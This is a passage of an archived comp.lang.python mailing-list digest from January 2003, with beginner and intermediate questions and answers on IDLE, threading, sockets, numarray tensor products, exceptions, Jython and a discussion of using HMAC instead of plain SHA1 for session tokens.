more useful applications than the 2037 VB programmers.

Jacob Hall?n

-- 



From newsgroups.tpichler at gmx.net  Sun Jan  5 06:57:14 2003
From: newsgroups.tpichler at gmx.net (Thomas Pichler)
Date: Sun, 05 Jan 2003 12:57:14 +0100
Subject: Using Red Hat 8.0 and IDLE
Message-ID: <3E181D9A.8060702@gmx.net>

Hello!

Is there a way to start IDLE under Red Hat 8.0 without always typing
[user]$ /usr/lib/python2.2/site-packages/idle/idle.py ? I?m using Gnome 2.0.

Unfortunately I can?t find an option to select the size of the IDLE 
Font. It?s realy small and I?d like to have it a bit bigger (like windows).

Thanks in advance.


Thomas




From andy at eastonwest.co.uk  Fri Jan  3 19:44:34 2003
From: andy at eastonwest.co.uk (andy)
Date: Sat, 4 Jan 2003 00:44:34 +0000
Subject: new years resolutions
In-Reply-To: <3E159EC6.CC98EB08@engcorp.com>
References: <mailman.1041550805.3550.python-list@python.org> <x77kdm98f8.fsf@guru.mired.org> <3E159EC6.CC98EB08@engcorp.com>
Message-ID: <200301040044.34052.andy@eastonwest.co.uk>

I've been following your little thread with interest/amusement...  thought I'd 
put in my penny's worth (please excuse me if I'm repeating previous comments 
I didn't see) :-)

I can't remember ever having seen HTML described as a /programming/ language.

There are obviously snippets of javascript, java, even perhaps python or perl 
in some HTML pages...

Doesn't HTML stand for HyperText *Markup* Language? 
		*Markup* as in what TeX and its cronies do?
		Language as in a formal /syntax/ - rules for writing in a manner a computer
			can 'understand'?

HTML is obviously a formal language, but would you classify, Tex, for 
instance, as on a par with it?  Tex is not (I believe) HyperText based/aware, 
but it does a similar job when it comes to text presentation...

I think that it may be worth evaluating whether or not one could implement an 
/algorithm/ in pure HTML:

	* An algorithm is a method for solving a particular problem
	* If your 'problem' is 'present a hyprtext document', then your 
		HTML source-code is a program

I think that generally speaking, programmers (the C, VB, Python etc. kind) 
consider the *logic* part of their art to be the 'programming' bit.  I doubt 
if many would consider the production of a bunch of print statements to be 
'programming'...

Wheras the general public often consider any given task done with a computer 
to be programming... I have often heard secretaries, kids, passersby talking 
of how they had been 'programming' the computer to "write cd's" or "play 
quake", where they meant they'd *installed it*...

The concept of programming is probably more a matter of perspective.






From imbosol at vt.edu  Thu Jan  9 19:12:12 2003
From: imbosol at vt.edu (Carl Banks)
Date: Fri, 10 Jan 2003 00:12:12 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>  <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com>  <avjj5d$8cn$1@slb3.atl.mindspring.net>  <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com>  <yyy1y3m4c6d.fsf@adams.patriot.net>  <RSjT9.38030$1c.26589@nwrddc01.gnilink.net> <mailman.1042151833.20815.python-list@python.org>
Message-ID: <wdoT9.36430$xb.9274@nwrddc02.gnilink.net>

Cliff Wells wrote:
> On Thu, 2003-01-09 at 11:14, Carl Banks wrote:
>> Nick Vargish wrote:
>> > Afanasiy <abelikov72 at hotmail.com> writes:
>> > 
>> >> You don't know what I am doing. My design is perfect.
>> > 
>> > c.f. 'hubris'.
>> 
>> I hope everyone else realizes he (Afanasiy) was being ironic.  I
>> realize using sublte irony in a computer programming chat room is not
>> the smartest thing to do, as programmers tend not to be the most
>> metaphorical people in the world.
> 
> I had a difficult time telling and I've never made a mistake.


:-)


-- 
CARL BANKS



From essai1 at mci.local  Mon Jan 13 19:34:23 2003
From: essai1 at mci.local (News M Claveau /Hamster-P)
Date: Tue, 14 Jan 2003 01:34:23 +0100
Subject: Boa Constructor: stable enough for production use?
References: <3e21f2f5$0$94297$e4fe514c@dreader4.news.xs4all.nl>
Message-ID: <b00e9r$7m6$1@news-reader10.wanadoo.fr>

Pas de r?ponse ?
Je suis aussi int?ress? par vos avis.


No answer ?
I am interessed too by your notes.


@-salutations





From alpertron at hotmail.com  Mon Jan  6 10:35:43 2003
From: alpertron at hotmail.com (Dario Alpern)
Date: 6 Jan 2003 07:35:43 -0800
Subject: Algorithm for extracting the prime factors of an integer
References: <3e0e12e3$1_3@news.bluewin.ch> <7xwultbeym.fsf@ruckus.brouhaha.com>
Message-ID: <1abc6a46.0301060735.30e6b4d8@posting.google.com>

Paul Rubin <phr-n2002b at NOSPAMnightsong.com> wrote in message news:<7xwultbeym.fsf at ruckus.brouhaha.com>...
> "Luca Bruderer" <luca.bruderer at bluewin.ch> writes:
> > I'm wondering which is the best algorithm to do this.
> 
> Factoring integers of larger than 20 digits or so is a very
> complicated subject.  A good introduction can be found in "A Course in
> Number Theory and Cryptography" by Neal Koblitz.
> 
> For less than 20 digits you can use dumb brute force algorithms and
> still get answers in a tolerable amount of time.
> 
> The largest publicly known factorizations of "hard" composites (i.e.
> numbers with no small factors and no special properties that make them
> easier to factor) are in the range of 155 digits.  Factoring those
> numbers took thousands of CPU-years (i.e. several thousand computers
> crunching in parallel for months nonstop).
> 
> The MIRACL package (http://indigo.ie/~mscott) contains a factoring
> program that can factor numbers up to 80 digits or so on a single PC.

... or you can use the Java applet located at:

http://www.alpertron.com.ar/ECM.HTM

that also factors any number up to 80 digits or find prime factors of
up to about 30 digits of numbers up to 1000 digits long. The source
code is included, and you can adapt it for any non-commercial use (see
source code header).

Best regards,

Dario Alejandro Alpern
Buenos Aires - Argentina
http://www.alpertron.com.ar/ENGLISH.HTM



From hgg9140 at cola2.ca.boeing.com  Fri Jan 24 11:32:06 2003
From: hgg9140 at cola2.ca.boeing.com (Harry George)
Date: Fri, 24 Jan 2003 16:32:06 GMT
Subject: Python vs. Matlab
References: <mailman.1043278960.29140.python-list@python.org> <3e3033c9.22749461@aplnews>
Message-ID: <xqx4r7ybjax.fsf@cola2.ca.boeing.com>

notspecified at dev.null (Matt Feinstein) writes:

> On 22 Jan 2003 18:41:15 -0500, Mongryong <Mongryong at sympatico.ca>
> wrote:
> 
> >Python vs Matlab (or any other similar language).
> >Any opinions on this comparison?  Benchmarks? Functionality?
> >One big up for Python is that it's FREE!
> 
> I've used Matlab a lot and Python a little--
> 
> Matlab does a number of essential things really well:
> -- Visualizing, displaying, formatting, and annotating various kinds
> of data
> -- Linear algebra computations
> -- Relatively small compute-it-and-display-it programs
> -- Large number of specialized 'toolbox' calculations
> 
> Matlab also does a number of important things in a half-assed or ugly
> fashion
> -- GUIs
> -- Object orientation
> -- Interface to outside world
> -- Non-numerical data structures
> 
> I would not bother with trying to get Python to do the things that
> Matlab does well. I would be interested in leveraging Python's strong
> points in a way that would help to overcome bad parts of Matlab.
> 
Would you use python with the bindings to Numeric, Scientific, or GSL?
Do these eat further into Matlab turf than raw Python?


> 
> Matt Feinstein    does not include his email address
>                   in the text of usenet postings.
> --------
> Harvard Law of Automotive Repair: Anything that goes away
> by itself will come back by itself.

-- 
harry.g.george at boeing.com
6-6M31 Knowledge Management
Phone: (425) 294-8757



From reageer.in at de.nieuwsgroep  Thu Jan 16 09:00:02 2003
From: reageer.in at de.nieuwsgroep (Rene Pijlman)
Date: Thu, 16 Jan 2003 15:00:02 +0100
Subject: Socket communications
References: <b06df6$ls2ug$1@ID-145579.news.dfncis.de>
Message-ID: <uded2vogmj50s1bgpl54qc9c6nifrostpg@4ax.com>

Stefano Covino:
>I would like to develop an application that requires to open socket 
>connections from/to other computers. 
>Therefore I wonder if you know if there are libraries with some or 
>most of the code already developed.

That depends on the protocol you want to implement. FTP? HTTP?
SMTP? NNTP? ...? Client side or server side?

You could have a look at the source code of modules such as
http://www.python.org/doc/current/lib/module-httplib.html and
http://www.python.org/doc/current/lib/module-BaseHTTPServer.html.

And this may be of use to you:
http://www.amk.ca/python/howto/sockets/
http://www.python.org/doc/current/lib/module-SocketServer.html

-- 
Ren? Pijlman

Wat wil jij leren?  http://www.leren.nl



From uwe.schmitt at procoders.net  Fri Jan 24 04:35:56 2003
From: uwe.schmitt at procoders.net (Uwe Schmitt)
Date: 24 Jan 2003 09:35:56 GMT
Subject: killing thread ?
Message-ID: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de>

Hi,

AFAIK there is no method in the threading module to kill a thread.
Each thread has to terminate itself by watching status variables.
But: what happens if I start a thread, and when I want to kill
this thread, I delete all references to the according Thread object,
and call the garbage collector. 
Will this work ??

My motivation is to watch some functions, where I have no
access to the functions implementation. 

And another question: how fast is the garbage collector ?


Greetings, Uwe.

-- 
Dr. rer. nat. Uwe Schmitt      Computer science is no more about Computers,
uwe.schmitt at num.uni-sb.de      than astronomy is about telescopes. (Dijkstra)
http://www.procoders.net           



From rudy.schockaert at pandora.be  Wed Jan 15 07:44:11 2003
From: rudy.schockaert at pandora.be (Rudy Schockaert)
Date: Wed, 15 Jan 2003 12:44:11 GMT
Subject: Binary search
Message-ID: <vIcV9.12859$ym5.1964@afrodite.telenet-ops.be>

Hi,

I'm looking for a function that allows me to do a binary search in a file.
Can anyone point me in the good direction?

Thanks in advacne,

Rudy





From alloydflanagan at attbi.com  Mon Jan 20 13:25:49 2003
From: alloydflanagan at attbi.com (A. Lloyd Flanagan)
Date: 20 Jan 2003 10:25:49 -0800
Subject: comprehensions was Re: Switch statements again
References: <1042670767.3e25e4afa12e5@www.progoth.com> <mailman.1042672181.22990.python-list@python.org> <a8b7f07a.0301160724.424a1025@posting.google.com> <200301160736.18786.shalehperry@attbi.com> <Pine.LNX.4.51.0301160916220.9165@ns0.tbye.com> <mailman.1042740101.18359.python-list@python.org> <ad496f8.0301170354.3bc49338@posting.google.com>
Message-ID: <a8b7f07a.0301201025.4b2f3e48@posting.google.com>

Hmmm....
making list comprehension variables local to the comprehension: +1
providing a way to 'break out' of comprehension in the middle: -1

The whole point of using a list comprehension, I think, is that it
allows you to think of the operation in terms of operations on sets,
and not as a loop.  If you add syntax to break in the middle, you're
back to thinking about loops, in which case you're better off with an
explicit loop construct.

Come to think of it, it should be very easy to break list
comprehensions into parallel operations on a multiprocessor machine. 
That seems like something worth preserving.



From NadavH at VisionSense.com  Sun Jan 26 03:33:57 2003
From: NadavH at VisionSense.com (Nadav Horesh)
Date: Sun, 26 Jan 2003 10:33:57 +0200
Subject: Real inner-product in python
References: <3E2A4C06.7030202@visionsense.com> <200301220346.TAA06834@mail.arc.nasa.gov> <3E2E6925.8010905@VisionSense.com> <200301222211.OAA08918@mail.arc.nasa.gov>
Message-ID: <3E339D75.90402@VisionSense.com>

The issue turned out to be very simple --- one have to unfold the 
tesor(s) into matrices, where the last dimension of the 1st tensor and 
the first dimension of the second tensor are preserved, then carry a 
usual dot matrix and fold the result into the appropriate dimensions. A 
working (but not 100% full-proof) code is as the follows:

import numarray as N # Should work also with Numeric

def innerproduct(a1, a2):
    ' True inner product'
    newshape = a1.shape[:-1] + a2.shape[1:]
    if a1.shape[-1] != a2.shape[0]:
        raise IndexError, "Unmatched dimensions"
    if N.rank(a1) > 2:
        a1 = N.reshape(a1, (N.product(a1.shape[:-1]), a1.shape[-1]))
    if N.rank(a2) > 2:
        a2 = N.reshape (a2,  (a2.shape[0], N.product(a2.shape[1:])))
    return N.reshape(N.dot(a1,a2), newshape)


   Nadav

Chad Netzer wrote:

>On Wednesday 22 January 2003 01:49, Nadav Horesh wrote:
>  
>
>>Whats about:
>> >>> c = N.reshape(N.arange(12), (3,2,2))
>> >>> b = N.arange(3)
>> >>> N.dot(b,c)
>>
>>Traceback (most recent call last):
>>  File "<pyshell#18>", line 1, in ?
>>    N.dot(b,c)
>>  File "/usr/local/lib/python2.3/site-packages/Numeric/Numeric.py",
>>line 335, in dot
>>    return multiarray.matrixproduct(a, b)
>>ValueError: matrices are not aligned
>>    
>>
>
>[snip]
>
>  
>
>>As I see inner product between two tensors --- A of rank $n$ and B of
>>rank $m$ it should be like
>>(in TeX style):
>>$$
>>  C = A \cdot B
>>$$
>>requires:
>>
>>1.  The last dimension of A must be equal to the first dimension of
>>B, and ...
>>2.
>>$$
>>  C_{p_1, ... p_{m-1},q_2, ... q_n} = \sum_{i=1}^{q_1} A_{p_1, ...
>>p_{m-1},i} B_{i, q_2, ... q_{n}}
>>$$
>>
>>Thus, I don't see the *dot* function as a proper inner product.
>>    
>>
>
>Well, in my response I almost discussed tensors, but hedged, since I'm 
>not all that comfortable with thinking about them (haven't had to 
>discipline myself with figuring out all the indexing yet).
>
>But, you may be able to fake it with careful use of transpose(), if I 
>understand your meaning...
>
>Continuing your example:
>  
>
>>>>c
>>>>        
>>>>
>[[[ 0, 1,]
>  [ 2, 3,]]
> [[ 4, 5,]
>  [ 6, 7,]]
> [[ 8, 9,]
>  [10,11,]]]
>
>  
>
>>>>d = N.transpose(c)
>>>>        
>>>>
>
>  
>
>>>>d
>>>>        
>>>>
>[[[ 0, 4, 8,]
>  [ 2, 6,10,]]
> [[ 1, 5, 9,]
>  [ 3, 7,11,]]]
>
>  
>
>>>>d.shape
>>>>        
>>>>
>(2, 2, 3)
>
>  
>
>>>>b.shape
>>>>        
>>>>
>(3,)
>
>  
>
>>>>N.dot(d,b)
>>>>        
>>>>
>[[20,26,]
> [ 8,12,]]
>
>  
>
>>>>N.transpose(N.dot(d,b))
>>>>        
>>>>
>[[20, 8,]
> [26,12,]]
>
>Other than that, the only thing I can think of is to look at 
>ScientificPython, which purports to do Tensor operations.
>
>http://starship.python.net/~hinsen/ScientificPython/
>
>Also, you could check out SciPy (CVS) which wraps the BLAS/LAPACK 
>libraries, and Yorick, which may also do various tensor math functions. 
>
>  
>






From pyth at devel.trillke.net  Sun Jan 26 12:01:25 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Sun, 26 Jan 2003 18:01:25 +0100
Subject: December 2002 comp.lang.* stats
In-Reply-To: <PHEDLIMPMIAGAEPEFBGCCELPFCAA.narnett@mccmedia.com>; from narnett@mccmedia.com on Sun, Jan 26, 2003 at 08:46:26AM -0800
References: <3E32A7D9.B5B3D214@engcorp.com> <PHEDLIMPMIAGAEPEFBGCCELPFCAA.narnett@mccmedia.com>
Message-ID: <20030126180125.G10804@prim.han.de>

Hi Nick,

> I've been working on a much more comprehensive analysis of Java and Dotnet
> developer activity, covering close to 5,000 sources (Usetnet groups, mailing
> lists, web forums -- a source is one group list, forum, etc.).  I just
> recently threw Python into the mix, mainly because it's what I'm using to
> gather the data and do much of the analysis.  This amounts to more than
> 5,000 messages a day.  It isn't just venues for supporting the language; it
> includes open-source projects being created with Java and Python (by
> definition, aren't many true open source project done with Dotnet, except
> for Mono and things like that).
> [... interesting stuff ...]

Wow, that sounds interesting.  Do you have any URL to look at or
this is all closed?  

I would really enjoy statistics about various aspects of 
free softare projects without any "noise" from certain 
big companies.

    holger




From kubin at opf.slu.cz  Wed Jan 29 02:51:13 2003
From: kubin at opf.slu.cz (Lukas Kubin)
Date: Wed, 29 Jan 2003 08:51:13 +0100
Subject: Starting threads
In-Reply-To: <3E36D34E.4CB5237F@engcorp.com>
References: <Pine.LNX.4.44.0301281637060.26166-100000@x.opf.slu.cz>
 <3E36D34E.4CB5237F@engcorp.com>
Message-ID: <Pine.LNX.4.44.0301290809440.26166-100000@x.opf.slu.cz>

Thank you for answer. OK, I will describe it better.
The doTheAction() function is defined in the Control class and looks
almost like this:

def sendSignal(address,port,command):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  try:
    s.connect((address, port))
  except socket.error, msg:
    s = None
    return "false"
  s.send(command)
  # Here follows processing of returned values,etc.
  s.close()

The Control class is described in my previous letter bellow and the
Computer (it is not class I just badly shorted it for example) object is a
list of hostnames. So the main call looks like:

if __name__ == '__main__':

  for comp in ['hostname1','hostname2']:
    thread = Control(comp)
    thread.start()
    time.sleep(.005)

When I don't use the time.sleep() then it starts 2 threads of 'hostname2'.
Thank you

lukas

On Tue, 28 Jan 2003, Peter Hansen wrote:

> Lukas Kubin wrote:
> >
> > I'm doing Python threads for the first time. In the following code I need
> > to use the time.sleep(.005) for the thread to executed right. Otherwise it
> > "omits" the first threads.
> > The doTheAction() function is a socket operation which I need to connect
> > parallelly to multimple computers. What am I doing wrong?
>
> You're not doing anything _inherently_ wrong that would prevent this
> from working, so it must be something related to the specifics of
> Computers and doTheAction().  My guess is that doTheAction() is not
> thread-safe and you are entering it multiple times without any kind of
> "critical section" to protect the resources it uses.
>
> > import threading
> >
> > class Control(threading.Thread):
> >
> >   def run(self):
> >     doTheAction()
> >
> > if __name__ == '__main__':
> >
> >   for comp in Computers:
> >     thread = Control()
> >     thread.start()
> >     time.sleep(.005)   # <-- This is what I still need to use
>
> There are a few things you should tweak in any case.  Computers
> looks like a class name, because the convention is that names of
> classes are capitalized in Python.  You might be going against this
> convention, but it makes it harder for someone unfamiliar with
> your code to read.
>
> If you even plan on having your Control objects need any kind
> of initialization, you should include an __init__ method that
> calls the threading.Thread.__init__ method as well, since otherwise
> your threads will not work properly.
>
> Other than my guess above (and you'd have to tell more about what
> doTheAction() does and how it does it), I can't see anything
> that is definitely the problem.
>
> -Peter
>

-- 
Lukas Kubin

phone: +420696398285
email: kubin at opf.slu.cz

Information centre
The School of Business Administration in Karvina
Silesian University in Opava
Czech Republic
http://www.opf.slu.cz




From wouterm at spammers-unite-here.com  Fri Jan 17 02:29:06 2003
From: wouterm at spammers-unite-here.com (Wouter van Marle)
Date: Fri, 17 Jan 2003 15:29:06 +0800
Subject: Introduction object-oriented programming
Message-ID: <b08ank$dak12@imsp212.netvigator.com>

Hi All,

Can anyone recommend me an introduction on object oriented programming in
general, and the trick in Python? Preferrably tutorial on the web or so.

I know the basics of programming (learned BASIC 20 years ago, Turbo Pascal
10 years ago, and recently started Python - never used objects, never used
C, and always hobbying. Also a little experience with .BAT and shell
scripts). So should be a tutorial extending normal programming to the
objects.

Without the objects it goes fine, however I have the idea that objects can
make things a lot easier - both in design, implementation and maintenance.
And now I started off seriously again in an era where object oriented
programming is pretty much standard, it is time for me to learn it too! (so
I finally understand the mysterious self variable, the __init__ routine, and
more of those things)

Thanks!

Wouter.





From cnetzer at mail.arc.nasa.gov  Tue Jan 28 15:43:29 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Tue, 28 Jan 2003 12:43:29 -0800
Subject: Which exception to use?
In-Reply-To: <b16lui$j3s$1@bob.news.rcn.net>
References: <b16lui$j3s$1@bob.news.rcn.net>
Message-ID: <200301282043.MAA08755@mail.arc.nasa.gov>

On Tuesday 28 January 2003 11:39, Edward C. Jones wrote:
> Which exception is it best to use in the following pieces of code?
>
> if len(sys.argv) != 2:
>      raise SomeException, 'program requires exactly one argument'
>
> if len(sometuple) != 3:
>      raise SomeException, 'sometuple must have length 3'
>
> I use TypeError or ValueError but they don't feel right. I wish there
> was a SizeError or LengthError.

I do things like this for some library functions that I create (I 
welcome discussion about whether it is a good approach)

class ArgumentError( Exception ):
    pass

then when arguments to functions are not acceptable:

if some_arg < 0:
    raise ArgumentError, "such-and-such argument must not be negative."

I like distinguishing errors in the use of the API, from errors in the 
implementation (ie. the various built in Exceptions), at least when 
there IS a distinction.

Bjorn Pettersen indicated that printing the error to stderr and exiting 
is one way to go, but it wouldn't be proper for my library function to 
terminate a caller's program (although using the 'warnings' module to 
output the error message is a nice alternative to printing to stderr 
these days.)

Also, Peter Hansen indicated that the following form of exception 
raising is preferred:

    raise ArgumentError("such-and-such argument must not be negative.")

I'd be interested to know what the preferred method is (if any).  I 
think raising the class itself is more intuitive to my mind (rather 
than building an instance to raise).  Is there a preferred style?

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)




From grayrest at grayrest.com  Mon Jan 27 21:26:19 2003
From: grayrest at grayrest.com (grayrest)
Date: Mon, 27 Jan 2003 21:26:19 -0500
Subject: java introduction for pythonistas
In-Reply-To: <3e3565f3$0$145$e4fe514c@dreader7.news.xs4all.nl>
References: <20030127112513.GA671@matijek> <3e3565f3$0$145$e4fe514c@dreader7.news.xs4all.nl>
Message-ID: <b14pru$db1$2@news-int.gatech.edu>

Ype Kingma wrote:
> 2) Thinking in Java by Bruce Eckel will answer all your questions
>    extensively. It's not an introduction, but it allows you to
>    work by looking up the answers to your questions, and it's free.
>    See www.mindview.net/Books .

I'll second Bruce Eckel's books (I've read the Java and C++ books), 
they're my favorite.

> 
> You can use System.println() in java.

System.out.println()

or has something changed in 1.4?

-- 
grayrest
http://grayrest.com/moz




From shalehperry at attbi.com  Thu Jan 16 10:36:18 2003
From: shalehperry at attbi.com (Sean 'Shaleh' Perry)
Date: Thu, 16 Jan 2003 07:36:18 -0800
Subject: comprehensions was Re: Switch statements again
In-Reply-To: <a8b7f07a.0301160724.424a1025@posting.google.com>
References: <1042670767.3e25e4afa12e5@www.progoth.com> <mailman.1042672181.22990.python-list@python.org> <a8b7f07a.0301160724.424a1025@posting.google.com>
Message-ID: <200301160736.18786.shalehperry@attbi.com>

On Thursday 16 January 2003 07:24, A. Lloyd Flanagan wrote:
> Jack Diederich <jack at performancedrivers.com> wrote in message
> news:<mailman.1042672181.22990.python-list at python.org>...
>
> > using a list comprehension or zip().  Comprehensions always
> > hurt readability (ALWAYS), and we don't need the speedup
> > here so we do it explicitly.
>
> Personally, I find list comprehensions to be both very readable and
> compact.  Maybe it's a matter of how familiar you are with them.
>
> x = [a[3].someMethod() for a in some_list if a[2] == y]
>
> seems clearer than:
>
> x = []
> for a in some_list:
>     if a[2] == y:
>         x += a[3].someMethod()
>
> after all, a list comprehension is less general than a for-loop, so
> you know more about what it does before you read it.

comprehensions are hard on the reader until they start using them.  I am in 
the archives of this and -tutor stating my disklike for them for this reason.  
Now that I routinely use them in my own code I do like them but there is a 
significant penalty to the new Pythoner.

I do like being able to use map/zip like functionality without lambdas.  
However I still use reduce() because I do not want to build a list just to 
find out the value I am really looking for.  I often use a 'for loop' if I 
need to run a function on every item in a list but I do not need a new list.




From mhutchins at amr-corp.com  Wed Jan 29 16:18:07 2003
From: mhutchins at amr-corp.com (Hutchins, Mike)
Date: Wed, 29 Jan 2003 14:18:07 -0700
Subject: Test from a newbster
Message-ID: <1DE2BB4E5055104F8B533D1264ED0BFE109CBE@cor1denexc1.cor1.root01.org>

Have my messages been getting through?




From jp at no.more.hosts  Sat Jan 11 23:49:09 2003
From: jp at no.more.hosts (Jacek =?iso-8859-2?Q?Pop=B3awski?=)
Date: Sun, 12 Jan 2003 04:49:09 +0000 (UTC)
Subject: size of wxNotebook
Message-ID: <slrnb21t3q.dfb.jp@darkwood.somewhere>

I need to create wxFrame with one wxNotebook and few wxButtons. 
I've created:

self.ButtonsSizer with wxButtons
self.NotebookSizer with wxNotebookSizer
self.Box with ButtonsSizer and NotebokSizer

The problem is - whole window is to big. Notebook contains big pages and after
self.Box.Fit() window scales up. 

How can I set size of wxNotebook?

PS. What is wrong with self.NotebookSizer.SetMinSize(wxSize(300,200))? Why it
extends 300x200?

-- 
Free Software - find interesting programs and change them
NetHack - meet interesting creatures, kill them and eat their bodies
Usenet - meet interesting people from all over the world and flame them
Decopter - unrealistic helicopter simulator, get it from http://decopter.sf.net



From vlprasad at yahoo.com  Thu Jan  9 19:00:15 2003
From: vlprasad at yahoo.com (VLP)
Date: 9 Jan 2003 16:00:15 -0800
Subject: Using JAR File distributions in Jython
Message-ID: <e8246d60.0301091600.32edbeb0@posting.google.com>

I have an API distributed in JAR form, that is currently being used by
some Java programs. I would like to use this API from Jython. I read
in an earlier post, that I must set CLASSPATH to include the JAR file
itself, not just the directory it is in, so I did accordingly. This
seems to have some effect, as the next time Jython started up, it
recognized the JAR file, and did some processing (notably adding it to
the cachedir package cache, and changing package.idx)

However, I still cannot "import" any classes from the JAR file. I
tried following forms:

import com.company.product.api.class
and
from com.company.product.api import class
and
from com.company.product.api import *

I get the error:  No module named company

The JAR file is called productapi.jar and was created using JDK
1.3.1_06. I am using the same version of JDK to run Jython. I am using
Jython 2.1

Can someone point out what I am doing wrong here, and how I can get
this to work? This is extremely important, as without this, I will be
unable to replace Java with Jython in this project...which is a
tragedy, because Java is so much more painful to work with!

Thanks,
VLP



From trevp at trevp.net  Wed Jan 29 15:44:14 2003
From: trevp at trevp.net (Trevor Perrin)
Date: 29 Jan 2003 12:44:14 -0800
Subject: Generating Unique Keys
References: <mailman.1043710965.5817.python-list@python.org> <7xy956jf5j.fsf@ruckus.brouhaha.com> <47e891f1.0301281237.16079102@posting.google.com> <7xvg09c8bi.fsf@ruckus.brouhaha.com> <47e891f1.0301282114.725a2066@posting.google.com> <7xptqgbirl.fsf@ruckus.brouhaha.com>
Message-ID: <47e891f1.0301291244.426269a6@posting.google.com>

Paul Rubin <phr-n2003b at NOSPAMnightsong.com> wrote in message news:<7xptqgbirl.fsf at ruckus.brouhaha.com>...
> trevp at trevp.net (Trevor Perrin) writes:
> > you're right, with normal integers I don't think there's a
> > vulnerability, there would only be one if the appended values could
> > somehow have a prefix that matched a previous value's SHA1 padding. 
> > Still, hmac's cheap and easy, it's a good habit to always use it for
> > keyed hashing, so you don't have to worry about this sort of nuance
> > (I'm sure you know this, just for anyone following along)..
> 
> Yeah, I guess so, there's not exactly a big performance bottleneck to
> worry about in this situation.  

And hmac-sha1 is only a tiny, fixed (relative to input size) amount
slower than sha1.

> I think the appending attack is
> irrelevant anyway though, since the token is not being used as a MAC.
> A token isn't automatically valid just because it was made with the
> right key.  It has to belong to an actual session currently active in
> the server.

I think the attack is irrelevant because of how you chose the values
you append to the key.  But the construction isn't "generically
secure".  Consider the general construction

token1 = sha(key+value1)
token2 = sha(key+value2)
token3 = sha(key+value3)
.
.

where the attacker knows the set of possible values, doesn't know the
key, knows some of the tokens (and which values they correspond to),
and succeeds if he can guess the token for any other value.

The alternate construction

token1 = hmac-sha(key, value1)
token2 = hmac-sha(key, value2)
.

is generically secure: for any key (that has enough entropy) and *any*
set of values, the attacker will fail.  hmac guarantees that knowing
the keyed hash for one input won't let you guess the keyed hash for
any other input.

The first construction is not generically secure - for some key and
some set of values it's secure, for others it isn't.  To elaborate,
sha1 pads its input to a multiple of 64 bytes, with first a one bit,
then a string of zero bits, then a 64 bit big-endian representation of
the original input length.  Call the appended padding bytes for some
input pad(input).

sha1 then processes each 64 byte block sequentially, mixing the output
into an intermediate value (this is kind of rough).  After processing
the last block, the intermediate value becomes the return value.  Thus
the length extension property, where you can take any SHA1 return
value, treat it as an intermediate value, and hash further stuff onto
the end of it.

So if, for some valueX and valueY, valueX+pad(key+valueX) is a prefix
of valueY, then an attacker who knows valueX, tokenX, and valueY can
compute tokenY by hashing the remainder of valueY onto the end of
tokenX.

Now the condition above is unlikely in any reasonable scheme for
generating the input values, like just calling str() on 32-bit
integers like you mentioned.  But suppose the values could be
controlled by the attacker, or were generated in some odd way that
tended to produce a 1 followed by several bytes worth of zeros
followed by a few other random bytes..

Unlikely, but that's stuff you shouldn't have to worry about.  hmac is
simple, cheap, easy to use, provably secure, it should be used without
a second thought here.  In my opinion.

[I hope I got all the details right, you might want to double-check..]

> You might also look at the Yarrow paper on counterpane.com.  But this
> stuff is extremely tricky to get right.  It's better to just use OS
> services, which are now provided on most platforms where it matters.

probably true, nowadays.  


Trevor



From donnalcwalter at yahoo.com  Mon Jan 27 18:42:21 2003
From: donnalcwalter at yahoo.com (Donnal Walter)
Date: Mon, 27 Jan 2003 17:42:21 -0600
Subject: matching keyword arguments to specific methods
References: <mailman.1043706709.9666.python-list@python.org> <7xfzre2n6j.fsf@ruckus.brouhaha.com>
Message-ID: <b14g1m$i0n$1@main.gmane.org>

"Paul Rubin" <phr-n2003b at NOSPAMnightsong.com> wrote:
> I don't quite understand your example but I think you want something like:
>
>     if hasattr(self, key):
>        getattr(self,key)(whatever)

Yes, that works perfectly. Thanks.
Donnal Walter







From peter at engcorp.com  Tue Jan  7 09:07:06 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 07 Jan 2003 09:07:06 -0500
Subject: os.remove & os.rmdir
References: <RmyS9.1309$V6.1827@news.indigo.ie>
Message-ID: <3E1ADF0A.A5FBBBFD@engcorp.com>

Padraig Brady wrote:
> 
> So, should I do a simple patch?

Please don't!

> Advantages I can see are:
> 
>     1. It follows the standard

Which standard?  This is Python, not C.

>     2. It removes the redundancy of 2 functions doing the same thing
>     3. Is saves you having to write code like:
>         If os.path.isdir(path):
>             os.rmdir(path)
>         else:
>             os.unlink(path)

Why would you write that code?  If you really wanted to remove
a directory and all directories under it, if there are any, 
would you not write just "os.rmdir(path)" ?  And if you _didn't_
want to remove subfolders if there were any, you would just
us os.remove or os.unlink and know that there would be an
exception or whatever if it was not an empty directory.

> Disadvantages:
> 
>     1. Backwards compatability (minor I think)

Major, I think.  At least insofar as there is probably lots of
code that uses os.remove/os.unlink *knowing* that it is "safe"
and will never remove subdirectories that a user might have added.

I would not make this change.

-Peter



From reidlai at reidlai.com  Fri Jan 31 01:28:40 2003
From: reidlai at reidlai.com (Reid Lai)
Date: Fri, 31 Jan 2003 14:28:40 +0800
Subject: dynamically import
Message-ID: <3E3A1798.6010907@reidlai.com>

Dear All,

How can I have a database connection depending on different DBI 2.0 
module dynamically?  What I want is like following:

a = "DBVendor"

if DBVendor == "PostgreSQL":
     from pyPgSQL import PgSQL
     connfactory = PgSQL
elsif DBVendor == "Oracle":
     from DCOracle2 import *
     connfactory = DCOracle2

conn = connfactory.connect(...)

I don't want to have endless if statement to determine DBVendor and know 
how to use ConfigParser.  But don't know how I can do at import 
statement.  Thanks for any help.

Reid




From mhammond at skippinet.com.au  Sat Jan 25 20:41:06 2003
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Sun, 26 Jan 2003 01:41:06 GMT
Subject: compile win32 extensions for 152?
In-Reply-To: <Pine.GSO.4.21.0301251400030.17730-100000@supreme.pcug.org.au>
References: <Pine.GSO.4.21.0301251400030.17730-100000@supreme.pcug.org.au>
Message-ID: <S0HY9.4960$7y2.13237@news-server.bigpond.net.au>

